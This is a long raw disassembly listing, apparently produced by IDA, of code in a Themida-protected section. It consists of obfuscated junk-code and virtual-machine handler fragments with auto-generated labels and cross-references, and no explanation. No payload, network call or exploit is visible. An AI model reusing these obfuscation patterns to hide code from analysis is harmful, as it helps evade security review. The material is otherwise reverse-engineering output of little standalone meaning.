sub_592D25 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_592D45: ; CODE XREF: sub_592D25-1BE1j
pop ebp
dec ebp
jno loc_5946F3
jmp loc_595BE2
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
mov ebx, esp
mov bl, 0D5h
loc_592D57: ; CODE XREF: Themida_:0058D345j
add eax, 25CB2E99h
add eax, ebx
jmp loc_596667
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592D63: ; CODE XREF: sub_5916C4-588Dj
mov ebx, [esp-12h+arg_C+2]
add esp, 4
push eax
jmp loc_5977C3
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592D6F: ; CODE XREF: Themida_:0058E0BFj
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_593171
; ---------------------------------------------------------------------------
loc_592D80: ; CODE XREF: Themida_:00592DAEj
push ecx
mov ecx, 1F2666DCh
and ecx, 62BE305Dh
jmp loc_59461B
; ---------------------------------------------------------------------------
loc_592D91: ; CODE XREF: Themida_:00595EE8j
add esp, 4
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
jmp loc_592D80
; ---------------------------------------------------------------------------
loc_592DB3: ; CODE XREF: Themida_:0058A52Bj
xor eax, 343C3081h
inc eax
neg eax
sub eax, 0D65EC330h
add ebx, eax
pop eax
push 30E7h
jmp loc_58AC08
; ---------------------------------------------------------------------------
loc_592DCD: ; CODE XREF: Themida_:0058B66Aj
mov cl, 1
sub cl, 1
jmp loc_58D164
; ---------------------------------------------------------------------------
loc_592DD7: ; CODE XREF: Themida_:loc_597467j
jmp loc_597FB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592DDC: ; CODE XREF: sub_5916C4+889j
add edi, 13014DF9h
jmp loc_5913A4
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_592DE7: ; CODE XREF: Themida_:00592A07j
not edx
jmp loc_58ACA3
; ---------------------------------------------------------------------------
loc_592DEE: ; CODE XREF: Themida_:0058AA2Bj
; Themida_:loc_5922B8j
sub esi, 1E6C006Fh
pop ebx
shl esi, 8
xor esi, edi
jmp loc_592694
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_592DFF: ; CODE XREF: sub_5916C4-1A20j
shr edi, 6
jmp loc_58B5F8
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338C
loc_592E07: ; CODE XREF: sub_59338C+1Dj
sub [esp+4+var_4], 2E3970AFh
jmp loc_58D4B8
; END OF FUNCTION CHUNK FOR sub_59338C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592E13: ; CODE XREF: sub_58C17E+F2Bj
pop esp
sub esp, 4
mov [esp+0], ecx
mov ecx, 2
sub esi, ecx
jmp loc_596A94
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_592E29: ; CODE XREF: sub_58DBC4-123Fj
xchg ebx, [esp+0]
sub esp, 4
mov [esp+0], ebx
not dword ptr [esp+0]
pop ebx
xchg ebx, [esp+0]
mov eax, [esp+0]
push esi
jmp loc_594466
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
loc_592E42: ; CODE XREF: Themida_:0058E1DFj
pop edi
pop eax
add eax, 17022448h
jmp loc_58EEE6
; ---------------------------------------------------------------------------
loc_592E4E: ; CODE XREF: Themida_:0058F391j
pop si
push small 5519h
mov [esp], bp
push ecx
jmp loc_597DBC
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5904B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BA12
loc_592E67: ; CODE XREF: sub_58BA12+8501j
mov ebp, [esp+0]
jmp loc_58C2F9
; END OF FUNCTION CHUNK FOR sub_58BA12
; ---------------------------------------------------------------------------
loc_592E6F: ; CODE XREF: Themida_:00594315j
mov esp, [esp]
mov [esp], si
not word ptr [esp]
jmp loc_596629
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_592E7F: ; CODE XREF: sub_5916CB-2CA7j
and eax, ebp
jmp loc_58A946
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_592E86: ; CODE XREF: Themida_:0059021Ej
push 44AB323Ah
pop ebp
xor ebp, eax
pop eax
jmp loc_58EBCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_592E94: ; CODE XREF: sub_595E21-5E34j
xor ecx, eax
jmp loc_592BA9
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_592E9B: ; CODE XREF: sub_590010+138Fj
add esp, 4
push eax
mov eax, 16363E2Ch
add eax, 42DDEC27h
add ecx, 277416BDh
add ecx, eax
sub ecx, 277416BDh
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_58A73F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_592EC5: ; CODE XREF: sub_595258+1AA7j
add edx, 0A5C016Ch
mov edi, edx
pop edx
add ebp, edi
mov edi, [esp+4+var_4]
jmp loc_58F8F2
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592ED8: ; CODE XREF: sub_5EC2E8-5FE56j
mov ebp, esp
push ebx
mov ebx, 69446953h
jmp loc_58F508
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590E26
loc_592EE5: ; CODE XREF: sub_590E26-3B75j
add ebx, ebp
pop ebp
xchg ebx, [esp+0]
pop esp
shr ecx, 7
push 6E84h
mov [esp+0], esi
jmp sub_5919E2
; END OF FUNCTION CHUNK FOR sub_590E26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_592EFC: ; CODE XREF: sub_5EC2E8-54C85j
cmp cl, al
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_592F04: ; CODE XREF: sub_5916C4-249Aj
; sub_590010-883j
sub ecx, 49AE3A1Ah
sub ecx, eax
push edi
jmp loc_5964F6
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_592F12: ; CODE XREF: Themida_:00594160j
add esp, 4
push edx
mov edx, 2
add esi, edx
mov edx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_592F38: ; CODE XREF: Themida_:00590759j
mov cx, 6D07h
sub [esp+4], cx
pop cx
jmp loc_59451C
; ---------------------------------------------------------------------------
loc_592F48: ; CODE XREF: Themida_:0058E157j
xchg bl, dl
push ebx
push edx
mov dh, 4Ch
jmp loc_591481
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_592F53: ; CODE XREF: sub_596CA1+5j
inc bl
xor bl, 0BFh
sub dl, bl
mov ebx, [esp+4+var_4]
jmp loc_58C133
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_592F62: ; CODE XREF: sub_58F5B5+2078j
; sub_58C17E+846Bj ...
push 6F5B0DA5h
pop ebx
or ebx, 760E4BB8h
jz loc_596F86
xor ebx, 703859EDh
shr ebx, 7
jnz loc_592A43
xor ebx, 6B84F12Bh
mov esi, ebx
pop ebx
push ecx
loc_592F8D: ; CODE XREF: Themida_:0058C4CCj
pop esp
mov [esp+0], ebp
push 7C11h
jmp loc_58CEB9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_592F9B: ; CODE XREF: Themida_:0058D9B0j
push eax
mov eax, 56774CF8h
add ebp, eax
pop eax
jmp loc_58C82C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_592FB9: ; CODE XREF: Themida_:0058B544j
mov [esp], ebp
mov ebp, 6C142162h
inc ebp
push ebx
mov ebx, 1DF62AB5h
and ebx, 475B4451h
shr ebx, 8
jmp loc_597A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_592FD6: ; CODE XREF: sub_5916CB-3446j
; Themida_:00590300j
inc eax
and eax, 4FBE5081h
xor eax, 0C381824Fh
add edi, eax
jmp loc_596139
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_592FE8: ; CODE XREF: sub_58F5B5+801Fj
; sub_597969+6j
xor edx, 0A7079D3h
pop ebx
or [edi+1Ch], edx
jmp loc_58C103
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_592FF7: ; CODE XREF: sub_595258-98B5j
shl ecx, 5
inc ecx
jmp loc_58F916
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593000: ; CODE XREF: sub_58C17E+1B14j
pop edi
push ecx
mov ecx, 4C797903h
shr ecx, 5
add ecx, 1A37A6D4h
jmp loc_590D5E
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593015: ; CODE XREF: Themida_:005930F0j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_58E576
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_593026: ; CODE XREF: sub_5916C4-599Ej
jo sub_5966C1
push ebp
mov ebp, 247D70B9h
xor edi, ebp
pop ebp
add edi, 9A49F687h
or edi, 65DC2AC7h
shr edi, 3
xor edi, 434A9B9Eh
push eax
mov eax, 45B23FC3h
shl eax, 5
and eax, 4E34376Ch
add eax, 3DCC2498h
add ecx, eax
jmp loc_5929EC
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_593064: ; CODE XREF: Themida_:0058D971j
sub esi, 7BF3BC75h
xor edx, esi
pop esi
mov edi, edx
pop edx
sub edi, 6BB62C5Eh
add edi, ebp
jmp loc_58B87E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_59307D: ; CODE XREF: sub_595E21-3A7Aj
xchg ebp, [esp+0]
push dword ptr [esp+0]
pop ebp
add esp, 4
xor eax, ebp
jmp loc_58D2E6
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_593091: ; CODE XREF: Themida_:005976C7j
mov ebp, esp
push edx
mov edx, 7B0546E2h
jmp loc_58B90C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59309E: ; CODE XREF: sub_5916C4+2433j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5930A3: ; CODE XREF: Themida_:00594AF8j
mov eax, 2
add edx, 0B1E6D1Dh
add edx, eax
sub edx, 0B1E6D1Dh
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_5927B8
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58A5B9
; ---------------------------------------------------------------------------
loc_5930CE: ; CODE XREF: Themida_:00596533j
pop dword ptr [esp]
pop esp
mul ecx
sub esp, 4
mov [esp], eax
push ebx
mov ebx, esp
jmp loc_59421F
; ---------------------------------------------------------------------------
loc_5930E5: ; CODE XREF: Themida_:0058C6B7j
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_593015
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_5930F5: ; CODE XREF: sub_592D25-35CAj
and eax, edi
pop edi
shr eax, 18h
xor eax, ecx
jmp loc_58E72E
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_593102: ; CODE XREF: Themida_:00595700j
add ebp, edx
push dword ptr [esp]
pop edx
add esp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_58D3A6
; ---------------------------------------------------------------------------
loc_593120: ; CODE XREF: Themida_:0058F6FFj
sub ebx, 62F13810h
add ebx, ebp
add ebx, 62F13810h
mov ebp, [esp]
jmp loc_58BEA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_593136: ; CODE XREF: sub_58B4D6+7CDCj
push [esp+0Ch+var_C]
pop edi
add esp, 4
push edx
mov edx, esp
add edx, 4
push ecx
jmp loc_5910F4
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59314C: ; CODE XREF: sub_58F5B5+3BB7j
push ecx
jmp loc_5906BA
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5921D8
loc_593152: ; CODE XREF: sub_5921D8-4C9Dj
jmp loc_5936E4
; END OF FUNCTION CHUNK FOR sub_5921D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593157: ; CODE XREF: sub_58C17E+16F7j
add ebp, ecx
sub ebp, 24C13372h
pop ecx
jmp loc_593886
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_593165: ; CODE XREF: sub_58F5B5+775Aj
pop edx
add edx, 4
jmp loc_59314C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_593171: ; CODE XREF: Themida_:00592D7Bj
xor ebx, eax
movzx ax, byte ptr [eax]
push 73D2h
mov [esp], esi
push 4AF6h
mov [esp], esp
add dword ptr [esp], 4
pop esi
sub esp, 4
mov [esp], edi
jmp loc_59435E
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_594246
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_5931A2: ; CODE XREF: sub_58B4D6+990Dj
mov ebx, 6D5159B4h
xor edi, ebx
pop ebx
xor edi, 3F9EF461h
xor eax, edi
jmp loc_593136
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_5931B7: ; CODE XREF: Themida_:0058E202j
push edx
mov edx, 2
add ecx, edx
pop edx
jmp loc_58AD0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5931C5: ; CODE XREF: sub_5916C4+C6Cj
; Themida_:0059379Fj
sub edx, 542535BEh
pop ebp
sub edx, ebp
sub edx, 25953E76h
mov ebp, [esp-8+arg_4]
add esp, 4
jmp loc_595E8C
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5931E2: ; CODE XREF: sub_58C17E-32Aj
add ecx, ebx
sub ecx, 4E817D08h
pop ebx
sub ecx, 1BFB40A4h
add ecx, edi
push eax
mov eax, 3B3522FFh
shl eax, 2
jmp loc_58E7C2
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593201: ; CODE XREF: Themida_:00595D48j
xor ebx, 1420EEh
mov ecx, ebx
pop ebx
add edi, 4E9335EAh
jmp loc_58E06E
; ---------------------------------------------------------------------------
loc_593215: ; CODE XREF: Themida_:00594256j
mov dh, ah
mov eax, [esp]
jmp loc_5943D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_59321F: ; CODE XREF: sub_595E21-1DDEj
mov edx, [esp-4+arg_0]
add esp, 4
push [esp-8+arg_4]
pop esi
add esp, 4
jmp loc_5945F8
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_593237: ; CODE XREF: Themida_:0058D19Cj
push esi
jmp loc_58C61C
; ---------------------------------------------------------------------------
loc_59323D: ; CODE XREF: Themida_:005961DAj
pop edi
neg edx
push edx
not dword ptr [esp]
pop edx
neg edx
push eax
mov eax, 4BE43252h
xor eax, 48378EFh
add eax, 804A50E7h
jmp loc_58D8A5
; ---------------------------------------------------------------------------
loc_59325C: ; CODE XREF: Themida_:0058F3FBj
jmp loc_59653F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E980
loc_593261: ; CODE XREF: sub_58E980+17Dj
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_58DDBC
; END OF FUNCTION CHUNK FOR sub_58E980
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_593273: ; CODE XREF: sub_590010+1241j
push edi
jmp loc_58D484
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_593279: ; CODE XREF: Themida_:00596A8Fj
mov bh, 0F1h
xor bh, ch
pop ecx
add al, 20h
add al, bh
sub al, 20h
jmp loc_58B89C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_593289: ; CODE XREF: sub_595123-2546j
mov ebx, esp
add ebx, 4
push ecx
mov ecx, esp
jmp loc_58DF3A
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593299: ; CODE XREF: sub_58C17E:loc_58CBB7j
shl ebx, 2
jz loc_58C41D
sub ebx, 52F96193h
jmp loc_5948AC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5932AD: ; CODE XREF: Themida_:0058E68Cj
mov eax, esp
jmp loc_5901B5
; ---------------------------------------------------------------------------
loc_5932B4: ; CODE XREF: Themida_:0059477Fj
mov ebx, [esp]
add esp, 4
add ebx, 4
jmp loc_5927EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_5932C5: ; CODE XREF: sub_595E21-7E0j
sub ebx, 0FFFDBA48h
jmp loc_59125D
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_5932DF: ; CODE XREF: Themida_:00590F93j
mov esi, 19AF2C1Ch
mov ebp, esi
pop esi
add edi, ebp
pop ebp
jmp loc_58B509
; ---------------------------------------------------------------------------
loc_5932EF: ; CODE XREF: Themida_:0058F56Dj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop ebx
push 65B8h
mov [esp], ebp
mov ebp, 21427A4Ah
shr ebp, 6
shr ebp, 8
push ecx
push eax
mov eax, 762B133Ah
shl eax, 1
jmp loc_59005F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_593320: ; CODE XREF: Themida_:00591DE0j
; sub_59524C-615j
push edi
mov edi, 1E894B47h
or edi, 714C55F1h
shl edi, 8
not edi
neg edi
sub edi, 4DF82AD0h
push ecx
mov ecx, 41495911h
neg ecx
push edi
mov edi, 10C921DEh
xor ecx, edi
pop edi
xchg ebp, ecx
jmp loc_58FA59
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593351: ; CODE XREF: sub_58C17E+68D1j
sub ebp, edi
push edi
jmp loc_58F89A
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_593359: ; CODE XREF: Themida_:00594F4Ej
and edi, 5CE47035h
jmp loc_590E3B
; ---------------------------------------------------------------------------
loc_593364: ; CODE XREF: Themida_:0058F380j
push 3FEDh
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
jmp loc_58CECF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59337B: ; CODE XREF: sub_58F5B5-247j
add edi, 1F3F4887h
jmp loc_58F736
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_593386: ; CODE XREF: Themida_:00595283j
push ebx
jmp loc_5952E2
; =============== S U B R O U T I N E =======================================
sub_59338C proc near ; CODE XREF: sub_58F5B5-34A1j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058BA80 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D4B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DC97 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058FD95 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592E07 SIZE 0000000C BYTES
push ebx
add [esp+4+var_4], 2DFA07B9h
mov ecx, [esp+4+var_4]
add esp, 4
sub ecx, 2DFA07B9h
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_592E07
sub_59338C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5933AE: ; CODE XREF: sub_5938B9-9459j
add esp, 4
pop esi
rep movsd
add esp, [edx+38h]
push ecx
mov ecx, 3FE61E38h
jmp loc_594F03
; ---------------------------------------------------------------------------
loc_5933C2: ; CODE XREF: sub_5938B9-1497j
jz loc_58FEC9
sub ecx, 0FFE6DEC0h
add ecx, edx
sub esp, 4
mov [esp+0], eax
jmp sub_58EF52
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_5933DB: ; CODE XREF: Themida_:00590B0Fj
sub edi, 46945948h
jmp loc_58AE21
; ---------------------------------------------------------------------------
loc_5933E6: ; CODE XREF: Themida_:00591839j
mov cl, bl
mov dl, cl
jmp loc_58AE7F
; ---------------------------------------------------------------------------
loc_5933EF: ; CODE XREF: Themida_:005939E5j
xchg ecx, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
jmp loc_591A3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5933FD: ; CODE XREF: sub_5916C4-32FFj
neg ebp
push edi
mov edi, 2BF0EC3h
xor edi, 78B55049h
xor ebp, edi
jmp loc_59750E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59341A: ; CODE XREF: Themida_:0058F461j
add eax, 1D4A6F06h
add eax, ebx
sub eax, 1D4A6F06h
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub ebx, 39264A9Bh
push edi
push ebp
mov ebp, 19E63797h
push edx
push 337823AFh
pop edx
neg edx
jb loc_58D94E
shr edx, 2
and edx, 6E0275E6h
pop esi
mov cx, [esp]
push ecx
push esp
mov ecx, [esp]
jmp loc_592890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_59346E: ; CODE XREF: sub_594654-929Cj
pop ebp
push eax
mov eax, 30CB1067h
add eax, 0CF34EF9Dh
add ebp, eax
push [esp+8+var_8]
pop eax
add esp, 4
push esi
sub esp, 4
jmp loc_58D5F8
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_59348F: ; CODE XREF: sub_5919E2+34C0j
popa
jmp loc_58F1B9
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593495: ; CODE XREF: sub_58C17E+3A94j
; Themida_:005979AAj
add eax, 4
xchg eax, [esp+0]
mov esp, [esp+0]
shr ecx, 0Ah
push 2E0Dh
mov [esp+2+var_4+2], ecx
jmp sub_592D25
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
lodsd
jmp loc_58DF95
; ---------------------------------------------------------------------------
loc_5934B4: ; CODE XREF: Themida_:005920EBj
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5934B9: ; CODE XREF: sub_5EC2E8-5B5F6j
; sub_595E21-4357j
mov ecx, 2
push eax
mov eax, 6AD33F19h
push edx
mov edx, 69A97D20h
shr edx, 1
jmp loc_59726D
; ---------------------------------------------------------------------------
loc_5934D1: ; CODE XREF: sub_5EC2E8-5BE10j
mov ecx, ebx
jmp loc_59215C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5934D8: ; CODE XREF: Themida_:005966E5j
or bh, 0F8h
inc bh
jmp loc_58E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5934E2: ; CODE XREF: sub_5916C4+1356j
neg ebp
or ebp, 77AA6A87h
push esi
mov esi, 6C4439F6h
shr esi, 3
xor esi, 3D2715E9h
add esi, 51150578h
or esi, 122F5521h
jmp loc_58FAD1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_59350A: ; CODE XREF: sub_595123-7C70j
; Themida_:00594F5Aj
pop esi
add [esp+8+var_4], ebp
push esi
mov esi, 10A703A4h
sub [esp+0Ch+var_4], esi
pop esi
mov ebp, [esp+8+var_8]
push edx
jmp loc_595FF0
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_593523: ; CODE XREF: Themida_:0058ADE7j
; Themida_:00592983j
add edi, ebx
pop ebx
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
push edx
jmp loc_595AC9
; ---------------------------------------------------------------------------
loc_593535: ; CODE XREF: Themida_:0058A8C9j
add dh, 0C6h
jl loc_5968B3
xchg bl, dh
not bl
xchg bl, dh
or dh, 1Dh
shl dh, 1
mov ebp, ecx
push esi
loc_59354C: ; CODE XREF: Themida_:00591E46j
push edx
push 0E9159F2h
mov edx, [esp]
jmp loc_58C914
; ---------------------------------------------------------------------------
loc_59355A: ; CODE XREF: Themida_:00596522j
pop esi
add eax, 0A5530099h
sub ebp, 6A496FDDh
add ebp, eax
add ebp, 6A496FDDh
pop eax
add ebp, 2
push ebp
push dword ptr [esp+4]
jmp loc_590857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59357F: ; CODE XREF: sub_590467-314Dj
sub bl, al
add bl, 3Dh
sub bl, 0E3h
add bl, 0D5h
sub esp, 4
mov [esp+0], ecx
jmp sub_595BDA
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_593598: ; CODE XREF: Themida_:loc_58E993j
; Themida_:loc_594593j
jmp loc_5907A0
; ---------------------------------------------------------------------------
loc_59359D: ; CODE XREF: Themida_:0058B4E3j
mov dh, 0FEh
dec dh
jmp loc_58F777
; ---------------------------------------------------------------------------
loc_5935A6: ; CODE XREF: Themida_:0058C806j
jp loc_590A04
sub ah, 13h
mov bh, ah
pop eax
sub dh, 0AFh
add dh, bh
mov bh, 20h
loc_5935B9: ; CODE XREF: Themida_:0058E25Aj
mov [esp], ebx
push 12BCh
mov [esp], eax
push ecx
mov cl, 85h
and cl, 0C5h
add cl, 31h
jmp loc_5902CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5935D2: ; CODE XREF: sub_5EC2E8-5FE96j
add ebx, 4
add ebx, 4
xchg ebx, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_595288
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5935EF: ; CODE XREF: Themida_:0058A5DFj
dec esi
push ebp
mov ebp, 648E2397h
or esi, ebp
jmp loc_597930
; ---------------------------------------------------------------------------
loc_5935FD: ; CODE XREF: Themida_:005913FBj
sub eax, 6CB25198h
add eax, ebx
add eax, 6CB25198h
sub eax, 4A751382h
pop ebx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_5904A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59361D: ; CODE XREF: sub_58C17E+6511j
add edx, 5F9A1ED2h
xor edx, 6E251E62h
dec edx
dec edx
add edx, 36C2B5CFh
jmp loc_591CE7
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7C60h
mov [esp], edi
mov edi, esp
jmp loc_597B39
; ---------------------------------------------------------------------------
loc_593649: ; CODE XREF: Themida_:0059688Ej
push bx
jmp loc_5937F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_593650: ; CODE XREF: sub_58C17E+6Fj
sub ebx, 313F7FA4h
not ebx
xor ebx, 964D8558h
jmp loc_591BF4
; ---------------------------------------------------------------------------
loc_593663: ; CODE XREF: sub_58C17E+1766j
and edi, 305B452Dh
jmp loc_5910FE
; ---------------------------------------------------------------------------
